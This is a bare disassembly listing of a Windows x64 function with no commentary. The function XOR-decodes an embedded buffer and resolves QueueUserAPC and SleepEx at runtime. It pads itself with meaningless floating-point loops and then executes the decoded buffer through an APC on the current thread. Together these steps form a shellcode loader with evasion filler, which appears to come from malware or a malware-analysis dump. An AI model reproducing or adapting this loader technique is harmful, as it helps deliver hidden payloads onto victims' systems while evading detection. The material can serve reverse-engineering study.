call sub.msvcrt.dll_free
add dword [rbp + 0x828], 1
add dword [rbp + 0x82c], 1
mov eax, dword [rbp + 0x82c]
cmp eax, 0x7c
jbe 0x1400025d1
mov dword [rbp + 0x82c], 0
jmp 0x140002a43
cmp dword [rbp + 0x824], 0x7c
jne 0x1400029f7
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x824]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x824], 0
jmp 0x140002a3c
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x824]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x824], 1
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x4b8
jle 0x1400029a4
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x664], 0
mov ecx, 0x1004
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x1004
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x1004
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x810], 0
jmp 0x140002bc8
mov dword [rbp + 0x80c], 0
jmp 0x140002bb4
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x658]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x650]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x18
jle 0x140002add
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x28
jle 0x140002ace
mov dword [rbp + 0x810], 0
jmp 0x140002cc6
mov dword [rbp + 0x80c], 0
jmp 0x140002cb2
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x648]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x18
jle 0x140002bf3
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x28
jle 0x140002be4
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x668]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x640]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x808], 0x37a
mov dword [rbp + 0x804], 0x1f4
jmp 0x140002d8e
mov eax, dword [rbp + 0x808]
cmp eax, dword [rbp + 0x804]
jle 0x140002d87
sub dword [rbp + 0x808], 1
jmp 0x140002d8e
sub dword [rbp + 0x804], 1
cmp dword [rbp + 0x808], 0
jg 0x140002d70
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret